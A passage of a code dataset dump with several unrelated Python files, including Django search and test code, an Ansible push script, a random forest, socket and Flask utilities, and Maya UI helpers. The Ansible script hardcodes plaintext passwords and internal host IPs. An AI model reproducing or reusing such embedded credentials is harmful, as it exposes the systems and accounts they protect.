index=\"cnblogs\", # 设置索引名称\n doc_type=\"doc\", # 设置表名称\n body={ # elasticsearch语句\n \"query\": {\n \"multi_match\": { # multi_match查询\n \"query\": key_words, # 查询关键词\n \"fields\": [\"title\", \"description\"] # 查询字段\n }\n },\n \"from\": (page - 1) * 10, # 从第几条开始获取\n \"size\": 10, # 获取多少条数据\n \"highlight\": { # 查询关键词高亮处理\n \"pre_tags\": [''], # 高亮开始标签\n \"post_tags\": [''], # 高亮结束标签\n \"fields\": { # 高亮设置\n \"title\": {}, # 高亮字段\n \"description\": {} # 高亮字段\n }\n }\n }\n )\n end_time = datetime.now() # 获取当前时间\n last_time = (end_time - start_time).total_seconds() # 结束时间减去开始时间等于用时,转换成秒\n total_nums = response[\"hits\"][\"total\"] # 获取查询结果的总条数\n page_nums = int(total_nums / 10) + 1 # 总页数向上取整\n\n hit_list = [] # 设置一个列表来储存搜索到的信息,返回给html页面\n for hit in response[\"hits\"][\"hits\"]:\n hit_dict = {} # 设置一个字典来储存循环结果\n if \"title\" in hit[\"highlight\"]: # 判断title字段,如果高亮字段有类容\n hit_dict[\"title\"] = \"\".join(hit[\"highlight\"][\"title\"]) # 获取高亮里的title\n else:\n hit_dict[\"title\"] = hit[\"_source\"][\"title\"] # 否则获取不是高亮里的title\n\n if \"description\" in hit[\"highlight\"]: # 判断description字段,如果高亮字段有类容\n hit_dict[\"description\"] = \"\".join(hit[\"highlight\"][\"description\"])[:500] # 获取高亮里的description\n else:\n hit_dict[\"description\"] = hit[\"_source\"][\"description\"] # 否则获取不是高亮里的description\n\n hit_dict[\"url\"] = hit[\"_source\"][\"url\"] # 获取返回url\n hit_dict[\"create_date\"] = hit[\"_source\"][\"riqi\"]\n hit_dict[\"score\"] = hit[\"_score\"]\n hit_dict[\"source_site\"] = hit[\"_source\"][\"site\"]\n hit_list.append(hit_dict) # 将获取到内容的字典,添加到列表\n return render(request, 'result.html', {\"page\": page, # 当前页码\n \"total_nums\": total_nums, # 数据总条数\n \"all_hits\": hit_list, # 数据列表\n \"key_words\": key_words, # 搜索词\n \"page_nums\": page_nums, # 页数\n \"last_time\": last_time # 搜索时间\n }) # 显示页面和将列表和搜索词返回到html\n\n\n\n","sub_path":"search_engine_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"531835870","text":"#!/usr/bin/env python\n# coding=GB18030\n\n\nfrom collections import namedtuple\nfrom ansible.parsing.dataloader import DataLoader\nfrom ansible.vars import VariableManager\nfrom ansible.inventory import Inventory\nfrom ansible.playbook.play import Play\nfrom ansible.executor.task_queue_manager import TaskQueueManager\nfrom ansible.plugins.callback.minimal import CallbackModule\nimport json\n\n# username = 'credit'\n# password = 'U1n@i3v$e5r'\n# # the '/' in the path end must have,if no '/',the program will create a bin direction in the bin\n# src = '~/bin/'\n# dest = '~/bin/'\n# hosts = ['10.161.9.20','10.161.9.21','10.161.9.22','10.161.9.23','10.161.9.24','10.161.9.25','10.161.10.141','10.161.10.142','10.161.10.143','10.161.10.144','10.161.10.145','10.161.10.147','10.161.10.148','10.161.10.149','10.161.10.150','10.161.10.151','10.161.10.130','10.161.10.138','10.161.10.152','10.161.10.154','10.161.10.162','10.161.10.132','10.161.10.140','10.161.10.156','10.161.10.164','10.161.10.171','10.161.10.131','10.161.10.139','10.161.10.153','10.161.10.155','10.161.10.163','10.161.10.170','10.161.10.134','10.161.10.135','10.161.10.158','10.161.10.159','10.161.10.167','10.161.10.136','10.161.10.137','10.161.10.160','10.161.10.161','10.161.10.168','10.161.10.169']\n\nusername = 'adp'\npassword = 'adp'\n# the '/' in the path end must have,if no '/',the program will create a bin direction in the bin\nsrc = '~/bin/'\ndest = '~/test/bin/'\nhosts = ['10.161.24.246', '10.161.10.48']\n\nOptions = namedtuple('Options',\n ['connection', 'forks', 'module_path', 'ssh_common_args', 'sftp_extra_args',\n 'private_key_file', 'become', 'become_method', 'become_user', 'remote_user',\n 'ssh_extra_args', 'scp_extra_args', 'verbosity', 'check'])\n# initialize needed objects\nvariable_manager = VariableManager()\nloader = DataLoader()\noptions = Options(connecton='smart', forks=20, module_path=None,\n ssh_common_args=None, sftp_extra_args=None, private_key_file='~/.ssh/id_rsa',\n become=True, become_method=None, become_user=username,\n remote_user=username, ssh_extra_args=None, scp_extra_args=None, verbosity=1, check=False)\npasswords = dict(conn_pass=password, become_pass=password)\n\n# create inventory and pass to var manager\ninventory = Inventory(loader=loader, variable_manager=variable_manager, host_list=hosts)\nvariable_manager.set_inventory(inventory)\n\n# create play with tasks\nplay_source = dict(\n name=\"Bin Push to All Hosts\",\n hosts=hosts,\n gather_facts='no',\n remote_user=username,\n tasks=[\n dict(action=dict(module='authorized_key',\n args=dict(user=username, state='present', key=\"{{ lookup('file', '~/.ssh/id_rsa.pub') }}\"))),\n dict(action=dict(module='synchronize',\n args=dict(mode='push', checksum='yes', src=src, dest=dest,\n rsync_opts=['--exclude=refx86.sh'])))\n ]\n)\nplay = Play().load(play_source, variable_manager=variable_manager, loader=loader)\n\n\n# return result by json\ndef get_res_stats_json():\n tag_remark = {}\n tag_remark['1'] = '完全成功'\n tag_remark['2'] = '失败'\n tag_remark['4'] = '部分成功'\n # print (tag_remark['4'])\n # print (type(tag_remark.keys()[0]))\n res_stats_dict = CallbackModule().get_res_stats()\n res_stats_dict['error_info'] = \"\"\n res_stats_dict['process_tag'] = CallbackModule().get_res_tag()\n res_stats_dict['remark'] = tag_remark[CallbackModule().get_res_tag()]\n res_stats_json = json.dumps(res_stats_dict, ensure_ascii=False, encoding='GB18030')\n return res_stats_json\n\n\n# actually run it\ntqm = None\ntry:\n tqm = TaskQueueManager(\n inventory=inventory,\n variable_manager=variable_manager,\n loader=loader,\n options=options,\n passwords=passwords,\n stdout_callback='minimal',\n )\n result = tqm.run(play)\nfinally:\n if tqm is not None:\n tqm.cleanup()\n\nprint(\"[ADP_RESULT]%s\" % get_res_stats_json())\n","sub_path":"bin_push.py","file_name":"bin_push.py","file_ext":"py","file_size_in_byte":4039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"415892667","text":"from unittest import mock\n\nfrom django.test import TestCase, Client\n\nfrom external_api.tests.utils import FakeRedditAdapter\nfrom external_api.external_api_port import ExternalAPIPort\n\n\ndef mocked_reddit_adapter(func):\n def wrapper(*args, **kwargs):\n fake_adapter = FakeRedditAdapter()\n fake_port = ExternalAPIPort(fake_adapter)\n with mock.patch('search.forms.instantiated_port', autospec=True) as mocked_port:\n mocked_port.search = fake_port.search\n return func(*args, **kwargs)\n return wrapper\n\n\nclass RedditSearchViewTest(TestCase):\n\n def setUp(self):\n self.client = Client()\n\n @mocked_reddit_adapter\n def test_get_search_results(self):\n response = self.client.get('/', {'query': 'test_search'})\n self.assertContains(response, 'Post title')\n self.assertIn('Post title', response.context.get('search_result'))\n","sub_path":"search/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"385115211","text":"import numpy as np\nimport math\nimport time\nfrom pathos import multiprocessing\nfrom models.cart import CART\n\n\nclass RandomForestClassifier:\n\n def __init__(self,\n n_classes,\n max_depth=np.infty,\n min_samples_leaf=1,\n min_samples_split=2,\n split_criterion=\"gini\",\n max_feature_ratio=1,\n num_trees=100,\n max_sample_ratio=1,\n verbose=True,\n ):\n # RandomForest info\n self._n_classes = n_classes\n self._num_trees = num_trees\n self._base_learner_ensemble = []\n self._max_sample_ratio = max_sample_ratio\n self._verbose = verbose\n # store base-learner parameters in dictionary\n self._base_learner_args = {\n \"n_classes\": n_classes,\n \"max_depth\": max_depth,\n \"min_samples_leaf\": min_samples_leaf,\n \"min_samples_split\": min_samples_split,\n \"split_criterion\": split_criterion,\n \"max_feature_ratio\": max_feature_ratio,\n }\n\n def _sample_data(self, data, labels):\n num_samples = math.ceil(self._max_sample_ratio * len(data))\n sample_indices = np.random.choice(list(range(len(data))), size=num_samples, replace=False)\n data = data[sample_indices]\n labels = labels[sample_indices]\n return data, labels\n\n def _build_base_learner(self, data, labels):\n # sample data and labels\n if self._max_sample_ratio < 1:\n data, labels = self._sample_data(data, labels)\n # fit base learner from sampled data\n base_learner = CART(**self._base_learner_args)\n base_learner.fit(data, labels)\n return base_learner\n\n def _build_ensemble_single_process(self, data, labels):\n for i in range(self._num_trees):\n self._base_learner_ensemble.append(self._build_base_learner(data, labels))\n if self._verbose:\n print(f'--- No. base learners trained: {i + 1} ---')\n\n def _build_ensemble_multi_process(self, data, labels, n_jobs):\n # build random forest with multiprocessing\n def single_job(i): return self._build_base_learner(data, labels)\n # use maximum number of CPU cores\n if n_jobs == -1:\n n_jobs = multiprocessing.cpu_count()\n with multiprocessing.Pool(n_jobs) as p:\n self._base_learner_ensemble = p.map(single_job, range(self._num_trees))\n\n def fit(self, data, labels, n_jobs=1):\n start_time = time.time()\n if n_jobs != 1:\n self._build_ensemble_multi_process(data, labels, n_jobs)\n else:\n self._build_ensemble_single_process(data, labels)\n if self._verbose:\n print(f'--- Completed training in {round(time.time() - start_time, 3)} seconds ---')\n\n def predict_sample_probability(self, x):\n # predict probability of each class for a single sample\n ensemble_votes = np.zeros(self._n_classes)\n for base in self._base_learner_ensemble:\n ensemble_votes[base.predict_sample(x)] += 1\n ensemble_votes = np.array(ensemble_votes) / self._num_trees\n return ensemble_votes\n\n def predict_probability(self, data):\n assert len(self._base_learner_ensemble) > 0, \"Must call fit() first\"\n result = np.array([self.predict_sample_probability(x) for x in data])\n return result\n\n def predict(self, data):\n result = self.predict_probability(data)\n result = np.argmax(result, axis=1)\n return result\n","sub_path":"models/random_forest.py","file_name":"random_forest.py","file_ext":"py","file_size_in_byte":3584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"555000967","text":"import socket\nimport select\nimport time\nfrom eventloop import KqueueLoop,POLL_IN\n\nBUF_SIZE = 1024 * 1024 * 1024\nclass recieve(object):\n\n def __init__(self):\n self.impl = select.select()\n\n\n\ns = socket.socket()\ns.setblocking(False)\ns.bind(('127.0.0.1', 4631))\ns.listen(1024)\nfd_to_socket = {s.fileno():s}\nrlist = set()\nrlist.add(s.fileno())\n\n\nkl = KqueueLoop()\nkl.register(s, POLL_IN)\n\ndef fmt1(size):\n power = 2**10\n n = 0\n Dic_powerN = {0 : '', 1: 'K', 2: 'M', 3: 'G', 4: 'tera'}\n while size > power:\n size /= power\n n += 1\n return '%.2f%s' % (size, Dic_powerN[n]+'B')\n\n\nnow = 0\nt_size = 0\nwhile 1:\n ev = kl.poll(6)\n if ev:\n for r in ev:\n print('got read event')\n\n if fd_to_socket[r[0]] == s:\n conn = s.accept()\n kl.register(conn[0].fileno(), POLL_IN)\n fd_to_socket[conn[0].fileno()] = conn[0]\n continue\n if not now:\n now = time.time()\n try:\n conn = fd_to_socket[r[0]]\n data = conn.recv(BUF_SIZE)\n t_size += len(data)\n print('recieved:',t_size)\n if not data:\n kl.unregister(conn.fileno())\n print('total recieved %s' % fmt1(t_size))\n speed = t_size / (time.time() - now)\n print(\"data speed: %s/s\" % (fmt1(speed)))\n\n\n\n except Exception as e:\n print(e)\n else:\n print('No select')\n","sub_path":"proxy/test/recive.py","file_name":"recive.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"265462728","text":"import unittest\r\n\r\nfrom pyspark.sql import SparkSession\r\nfrom testfixtures import LogCapture, ShouldRaise\r\n\r\nfrom dsciqcm.crosscheck import _MultiprocCustom\r\nfrom dsciqcm.prisource import _LocalTimeMap, _TopStation\r\nfrom dsciqcm.core import _DevDMA\r\nfrom dsciqcm.config import MULTIPROC_CUST_PPM, LOCAL_QH_MAP, TOP_STATION_LPM_PPM\r\nfrom test.config import DATE, DMA, LOCAL_QH, STATIONS, MULTIPROC_QH\r\nfrom test.config import BCAST_DATE_KEY, MONTH\r\n\r\nspark = SparkSession.builder.getOrCreate()\r\n\r\n\r\nclass LocalQHMod(_LocalTimeMap):\r\n\r\n @property\r\n def name(self):\r\n return self._name\r\n\r\n @name.setter\r\n def name(self, newname):\r\n self._name = newname\r\n\r\n\r\nclass MultiprocMissingLocQH(_MultiprocCustom):\r\n\r\n def __init__(self, start, end, dmas):\r\n super().__init__(start, end, dmas)\r\n self._local_qh = LocalQHMod(start, end, dmas)\r\n self._local_qh.name = LOCAL_QH_MAP.replace(\".\", \"_\")\r\n\r\n\r\nclass MultiprocMod(_MultiprocCustom):\r\n\r\n @property\r\n def name(self):\r\n return self._name\r\n\r\n @name.setter\r\n def name(self, newname):\r\n self._name = newname\r\n\r\n\r\nclass TopStnMod(_TopStation):\r\n\r\n @property\r\n def _df_main(self):\r\n df_orig = super()._df_main\r\n df = df_orig.filter(df_orig[\"station_code\"].isin(STATIONS))\r\n return df\r\n\r\n\r\nclass MultiprocSTN(_MultiprocCustom):\r\n\r\n def __init__(self, start, end, dmas):\r\n super().__init__(start, end, dmas)\r\n self._top_station = TopStnMod()\r\n self._top_station.name = TOP_STATION_LPM_PPM\r\n\r\n @property\r\n def name(self):\r\n return self._name\r\n\r\n @name.setter\r\n def name(self, newname):\r\n self._name = newname\r\n\r\n @property\r\n def stream(self):\r\n return \"Live+0\"\r\n\r\n\r\nclass TestMultiprocCustom(unittest.TestCase):\r\n\r\n def test_invalid_market(self):\r\n mkt = \"unkown market\"\r\n message = \"{} is not a valid market type\".format(mkt)\r\n table = _MultiprocCustom(DATE, DATE, [DMA])\r\n table.name = MULTIPROC_CUST_PPM\r\n with ShouldRaise(ValueError(message)):\r\n table.market = mkt\r\n\r\n def test_missing_local_qh(self):\r\n tname = LOCAL_QH_MAP.replace(\".\", \"_\")\r\n filt = \"eastern_standard_date_time_of_qhr != '{}'\".format(LOCAL_QH)\r\n rec_def = (\"dmaid\", \"collectiondate\", \"start_broadcast_est_qhr\")\r\n missing_rec = (DMA, DATE, MULTIPROC_QH)\r\n message = (\r\n \"Could not match records from {} to {} for {}: {}\"\r\n .format(MULTIPROC_CUST_PPM, tname, rec_def, missing_rec))\r\n df = spark.read.table(LOCAL_QH_MAP).filter(filt)\r\n df.createOrReplaceTempView(tname)\r\n table = MultiprocMissingLocQH(DATE, DATE, [DMA])\r\n table.name = MULTIPROC_CUST_PPM\r\n with LogCapture() as log:\r\n self.assertFalse(table._check_viewing())\r\n log.check_present((\"e2eqc\", \"ERROR\", message))\r\n\r\n def test_missing_viewing(self):\r\n tname = MULTIPROC_CUST_PPM.replace(\".\", \"_\")\r\n filt = \"start_broadcast_est_qhr != '{}'\".format(MULTIPROC_QH)\r\n est_qhr = \"eastern_standard_date_time_of_qhr\"\r\n rec_def = (\"dma_code\", \"broadcast_date_key\", est_qhr)\r\n missing_rec = (DMA, BCAST_DATE_KEY, LOCAL_QH)\r\n message = (\r\n \"Could not match records from {} to {} for {}: {}\"\r\n .format(LOCAL_QH_MAP, tname, rec_def, missing_rec))\r\n df = spark.read.table(MULTIPROC_CUST_PPM).filter(filt)\r\n df.createOrReplaceTempView(tname)\r\n table = MultiprocMod(DATE, DATE, [DMA])\r\n table.name = tname\r\n with LogCapture() as log:\r\n self.assertFalse(table._check_local_qh())\r\n log.check_present((\"e2eqc\", \"ERROR\", message))\r\n\r\n def test_missing_station(self):\r\n message = (\r\n \"{}: No viewing records for one or more top stations\"\r\n .format(MULTIPROC_CUST_PPM))\r\n dmas = list(_DevDMA.lpm & _DevDMA.ppm)\r\n table = _MultiprocCustom(MONTH[0], MONTH[1], dmas)\r\n table.name = MULTIPROC_CUST_PPM\r\n with LogCapture() as log:\r\n self.assertFalse(table._check_top_station())\r\n log.check_present((\"e2eqc\", \"WARNING\", message))\r\n\r\n def test_pass(self):\r\n table = MultiprocSTN(DATE, DATE, [DMA])\r\n table.name = MULTIPROC_CUST_PPM\r\n with self.assertLogs(\"e2eqc\", \"INFO\"):\r\n self.assertTrue(table.run_crosscheck())\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","sub_path":"test/test_crosscheck_multiproc_custom.py","file_name":"test_crosscheck_multiproc_custom.py","file_ext":"py","file_size_in_byte":4477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"577138946","text":"import csv\nimport json\nimport random\n\nwith open('Bilateralremittancematrix2018Oct2019.csv', newline='') as csvfile:\n mydata = list(csv.reader(csvfile))\n# note: sender countries are rows. recipient countries are columns.\n\n# function that consumes the adjacency matrix from the CSV and\n# outputs the final json structure for d3 chart containing nodes and links\ndef convert(adj_mtx):\n\n # create list of countries\n countries = adj_mtx[0][1:]\n\n # store length of list of countries for iteration\n ctry_len = len(countries)\n\n # create simpler matrix without country label row and column\n adj_mtx = adj_mtx[1:ctry_len+1]\n\n for row in adj_mtx:\n row = row.pop(0)\n\n # specify minumum transfer $ amount to filter links by\n min_transfer = 1000\n\n # create empty list called links that will store all the filtered links\n links = []\n\n # skip row 0 because it contains country labels\n for i in range(ctry_len):\n\n # get country label from column 0\n sender = countries[i]\n\n # only look at columns for countries that haven't been iterated through yet\n # this avoids the creation of duplicate links\n # we also never want a case where j==i\n for j in range(i+1, ctry_len):\n\n # get recipient country label from row 0\n recipient = countries[j]\n\n # how much did the sender send to the recipient?\n sent = float(adj_mtx[i][j].replace('N/A', '0'))\n\n # how much did the recipient send back to the sender?\n received = float(adj_mtx[j][i].replace('N/A', '0'))\n\n # calculate net\n net = sent-received\n\n # exclude links where neither country sent money\n if(abs(net) > 0):\n\n # if sender sent more than they received back (positive net)\n if(net > min_transfer):\n links.extend( [{\n \"source\":sender,\n \"target\":recipient,\n \"value\":net,\n \"sourceToTarget\":sent,\n \"targetToSource\":received\n }] )\n\n # if sender recevied more than they sent (negative net)\n elif(abs(net) > min_transfer):\n links.extend( [{\n \"source\":recipient,\n \"target\":sender,\n \"value\":-1*net,\n \"sourceToTarget\":received,\n \"targetToSource\":sent\n }] )\n\n # create an empty array for storing all the nodes present in the filtered links\n used_nodes = []\n\n # append all the source and target nodes into the used_nodes list\n for i in links:\n used_nodes.append(i[\"source\"])\n used_nodes.append(i[\"target\"])\n\n # create sorted list of unique nodes\n used_nodes = sorted(list(set(used_nodes)))\n\n # create an empty list for storing the nodes for the final json object\n nodes = []\n\n # for loop prepares nodes and links for the final json object\n # nodes: it stores the node index in addition to the name\n # link: it updates the links object by replacing the node country names with indices\n for i in range(len(used_nodes)):\n nodes.extend( [{\n \"index\":i,\n \"name\":used_nodes[i],\n \"color\":\"#\"+''.join([random.choice('0123456789ABCDEF') for j in range(6)])\n }] )\n for l in links:\n # if source country name == country name\n if (l[\"source\"] == used_nodes[i]):\n # overwrite country name with county's node index\n l[\"source\"] = i\n # if target country name == country name\n if (l[\"target\"] == used_nodes[i]):\n # overwrite country name with county's node index\n l[\"target\"] = i\n\n # final json structure for d3 chart\n return {\"nodes\":nodes, \"links\":links}\n\nwith open('data.json', 'w') as outfile:\n json.dump(convert(mydata), outfile)\n","sub_path":"data/convert-adj-matrix-to-json.py","file_name":"convert-adj-matrix-to-json.py","file_ext":"py","file_size_in_byte":4016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"458622201","text":"from flask import Flask, render_template, request\nfrom flask_api import status\nfrom util.sql import SnekDB\nfrom util.util import Util\n\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index(): \n s = {} \n pkey = data['pubkey']\n dstats = client.delegates.get(pkey)\n\n s['forged'] = dstats['data']['blocks']['produced']\n s['missed'] = dstats['data']['blocks']['missed']\n s['rank'] = dstats['data']['rank']\n s['productivity'] = dstats['data']['production']['productivity']\n if data['network'] in ['ark_mainnet', 'ark_devnet']:\n if s['rank'] <= 51:\n s['forging'] = 'Forging'\n else:\n s['forging'] = 'Standby'\n\n snekdb = SnekDB(data['dbusername'])\n voter_data = snekdb.voters().fetchall()\n voter_count = client.delegates.voter_balances(data['delegate'])\n s['votes'] = len(voter_count['data'])\n \n if poolVersion == \"original\":\n return render_template('index.html', node=s, row=voter_data, n=navbar)\n else:\n return render_template('geops_index.html', node=s, row=voter_data, n=navbar)\n\n\n@app.route('/payments')\ndef payments():\n snekdb = SnekDB(data['dbusername'])\n data_out = snekdb.transactions().fetchall()\n tx_data = []\n for i in data_out:\n data_list = [i[0], int(i[1]), i[2], i[3]]\n tx_data.append(data_list)\n \n if poolVersion == 'original':\n return render_template('payments.html', row=tx_data, n=navbar)\n else:\n return render_template('geops_payments.html', row=tx_data, n=navbar)\n \n\n@app.route('/webhook', methods=['POST'])\ndef webhook():\n hook_data = json.loads(request.data)\n authorization = request.headers['Authorization']\n token = authorization+second\n\n if token == webhookToken:\n # do something with the data like store in database\n block = [[hook_data['data']['id'], hook_data['data']['timestamp'], hook_data['data']['reward'],\n hook_data['data']['totalFee'], hook_data['data']['height']]]\n\n # store block to get allocated by tbw\n snekdb = SnekDB(data['dbusername'])\n snekdb.storeBlocks(block)\n return \"OK\"\n\n # Token does not match\n return '', status.HTTP_401_UNAUTHORIZED\n\n\nif __name__ == '__main__':\n u = Util()\n data, network = u.parse_pool()\n webhookToken = data['webhook_token']\n poolVersion = data['pool_version']\n first, second = webhookToken[:len(webhookToken) // 2], webhookToken[len(webhookToken) // 2:]\n client = u.get_client()\n navbar = {\n 'dname': data['delegate'],\n 'proposal': data['proposal'],\n 'explorer': data['explorer'],\n 'coin': data['coin']}\n \n app.run(host=data['pool_ip'], port=data['pool_port'])","sub_path":"core/pool.py","file_name":"pool.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"512766741","text":"#!/usr/bin/python\n# -*- encoding: utf-8 -*-\n##############################################################################\n# \n# OpenERP, Open Source Management Solution\n# Copyright (C) 2004-2009 Tiny SPRL ().\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see . \n#\n##############################################################################\nimport sys\nsys.path.append('..')\n\nimport etl\n\nsqlconnector_partner=etl.connector.sql_connector('localhost',5432, 'trunk', 'fp', 'fp')\n\nsql_in1= etl.component.input.sql_in(\n sqlconnector_partner,'select * from res_partner where id<=10 order by id')\n\nlog1=etl.component.transform.logger(name='Read Partner')\n\n\ntran=etl.transition(sql_in1,log1)\n\njob1=etl.job([log1])\njob1.run()\n\n","sub_path":"addons-extra/etl/lib/demo/test4.py","file_name":"test4.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"610896028","text":"\"\"\"\nGeneral UI utilities for simplifying UI creation code.\n\"\"\"\n\nimport os\nimport logging\nimport traceback\nfrom functools import partial, wraps\nfrom pulse.vendor.Qt import QtCore, QtWidgets, QtGui\n\nimport maya.cmds as cmds\n\n\n__all__ = [\n 'addItemsToGrid',\n 'clearLayout',\n 'CollapsibleFrame',\n 'createHeaderLabel',\n 'createHSpacer',\n 'createVSpacer',\n 'dpiScale',\n 'getIcon',\n 'getIconPath',\n 'getIconPixmap',\n 'repeatable',\n 'repeatPartial',\n 'undoable',\n 'undoAndRepeatable',\n 'undoAndRepeatPartial',\n 'undoPartial',\n]\n\nLOG = logging.getLogger(__name__)\n\nICON_DIR = os.path.join(os.path.dirname(__file__), 'icons')\n\n# mel command that will execute the last repeatable func\n_REPEAT_COMMAND = 'python(\"{0}._repeatLastFunc()\")'.format(__name__)\n# reference to the last repeatable func\n_REPEATABLE_FUNC = None\n\n\n_DPI_SCALE = 1.0\nif hasattr(cmds, \"mayaDpiSetting\"):\n _DPI_SCALE = cmds.mayaDpiSetting(q=True, realScaleValue=True)\n\n\ndef _repeatLastFunc():\n \"\"\"\n Rerun the last repeatable function.\n \"\"\"\n if _REPEATABLE_FUNC is not None:\n _REPEATABLE_FUNC()\n\n\ndef _softUpdateWrapper(wrapper, wrapped):\n \"\"\"\n Update a wrapper function to look like the wrapped function.\n Like functools.update_wrapper, but doesn't fail when attributes\n are not found.\n \"\"\"\n attrs = ['__name__', '__doc__']\n for attr in attrs:\n if hasattr(wrapped, attr):\n setattr(wrapper, attr, getattr(wrapped, attr))\n return wrapper\n\n\ndef _softWraps(wrapped):\n \"\"\"\n Decorator for calling _softUpdateWrapper for a wrapped function.\n \"\"\"\n return partial(_softUpdateWrapper, wrapped=wrapped)\n\n\ndef repeatable(func):\n \"\"\"\n Decorator for making a function repeatable after it has\n been executed using Maya's repeatLast functionality.\n \"\"\"\n @_softWraps(func)\n def wrapper(*args, **kwargs):\n global _REPEATABLE_FUNC\n _REPEATABLE_FUNC = partial(func, *args, **kwargs)\n\n result = func(*args, **kwargs)\n\n try:\n cmds.repeatLast(\n ac=_REPEAT_COMMAND,\n acl=func.__name__)\n except RuntimeError:\n pass\n\n return result\n\n return wrapper\n\n\ndef repeatPartial(func, *args, **kwargs):\n \"\"\"\n Return a partial function wrapper that is repeatable.\n \"\"\"\n return partial(repeatable(func), *args, **kwargs)\n\n\ndef undoable(func):\n \"\"\"\n Decorator for making a function that will execute\n as a single undo chunk.\n \"\"\"\n @_softWraps(func)\n def wrapper(*args, **kwargs):\n cmds.undoInfo(openChunk=True)\n try:\n func(*args, **kwargs)\n except Exception as e:\n traceback.print_exc()\n cmds.error(e)\n finally:\n cmds.undoInfo(closeChunk=True)\n\n return wrapper\n\n\ndef undoPartial(func, *args, **kwargs):\n \"\"\"\n Return a partial function wrapper that is undoable.\n \"\"\"\n return partial(undoable(func), *args, **kwargs)\n\n\ndef undoAndRepeatable(func):\n \"\"\"\n Decorator that makes a function both undoable and repeatable.\n \"\"\"\n return repeatable(undoable(func))\n\n\ndef undoAndRepeatPartial(func, *args, **kwargs):\n \"\"\"\n Return a partial function wrapper that is undoable and repeatable.\n \"\"\"\n return partial(undoAndRepeatable(func), *args, **kwargs)\n\n\ndef dpiScale(value):\n return value * _DPI_SCALE\n\n\ndef getIconPath(filename):\n \"\"\"\n Return the full path to an icon by name\n\n Args:\n filename: A string representing the icon's file name\n \"\"\"\n return os.path.join(ICON_DIR, filename)\n\n\ndef getIconPixmap(filename):\n \"\"\"\n Return a QPixmap for an icon by name\n\n Args:\n filename: A string representing the icon's file name\n \"\"\"\n return QtGui.QPixmap(getIconPath(filename))\n\n\ndef getIcon(filename):\n \"\"\"\n Return a QIcon for an icon by name\n\n Args:\n filename: A string representing the icon's file name\n \"\"\"\n return QtGui.QIcon(getIconPath(filename))\n\n\ndef clearLayout(layout):\n if layout is None:\n return\n while layout.count():\n item = layout.takeAt(0)\n if item.widget():\n item.widget().setParent(None)\n if item.layout():\n clearLayout(item.layout())\n\n\ndef createHSpacer(width=20, height=20):\n return QtWidgets.QSpacerItem(\n 20, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n\n\ndef createVSpacer(width=20, height=20):\n return QtWidgets.QSpacerItem(\n 20, 20, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n\n\ndef createHeaderLabel(parent, text):\n font = QtGui.QFont()\n font.setWeight(75)\n font.setBold(True)\n label = QtWidgets.QLabel(parent)\n label.setText(text)\n label.setMinimumHeight(20)\n label.setContentsMargins(10, 2, 2, 2)\n label.setFont(font)\n label.setStyleSheet(\n 'background-color: rgba(0, 0, 0, 40); border-radius: 2px')\n return label\n\n\ndef addItemsToGrid(gridLayout, items):\n \"\"\"\n Add a 2-dimensional array of items to a grid layout.\n Assumes the grid layout is empty.\n\n Args:\n gridLayout (QGridLayout): A grid layout\n items (list): A list of rows, where each row is a list of\n QWidget, QLayoutItem, or QLayout\n E.g. [[item1, item2], [item3, item4]]\n \"\"\"\n for row, itemRow in enumerate(items):\n for col, item in enumerate(itemRow):\n if item is not None:\n if isinstance(item, QtWidgets.QWidget):\n gridLayout.addWidget(item, row, col, 1, 1)\n elif isinstance(item, QtWidgets.QLayoutItem):\n gridLayout.addItem(item, row, col, 1, 1)\n elif isinstance(item, QtWidgets.QLayout):\n gridLayout.addLayout(item, row, col, 1, 1)\n\n\nclass CollapsibleFrame(QtWidgets.QFrame):\n \"\"\"\n A QFrame that can be collapsed when clicked.\n \"\"\"\n\n collapsedChanged = QtCore.Signal(bool)\n\n def __init__(self, parent):\n super(CollapsibleFrame, self).__init__(parent)\n self._isCollapsed = False\n\n def mouseReleaseEvent(self, QMouseEvent):\n if QMouseEvent.button() == QtCore.Qt.MouseButton.LeftButton:\n self.setIsCollapsed(not self._isCollapsed)\n else:\n return super(CollapsibleFrame, self).mouseReleaseEvent(QMouseEvent)\n\n def setIsCollapsed(self, newCollapsed):\n \"\"\"\n Set the collapsed state of this frame.\n \"\"\"\n self._isCollapsed = newCollapsed\n self.collapsedChanged.emit(self._isCollapsed)\n\n def isCollapsed(self):\n \"\"\"\n Return True if the frame is currently collapsed.\n \"\"\"\n return self._isCollapsed\n","sub_path":"src/pulse/scripts/pulse/views/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"161595438","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sklearn import 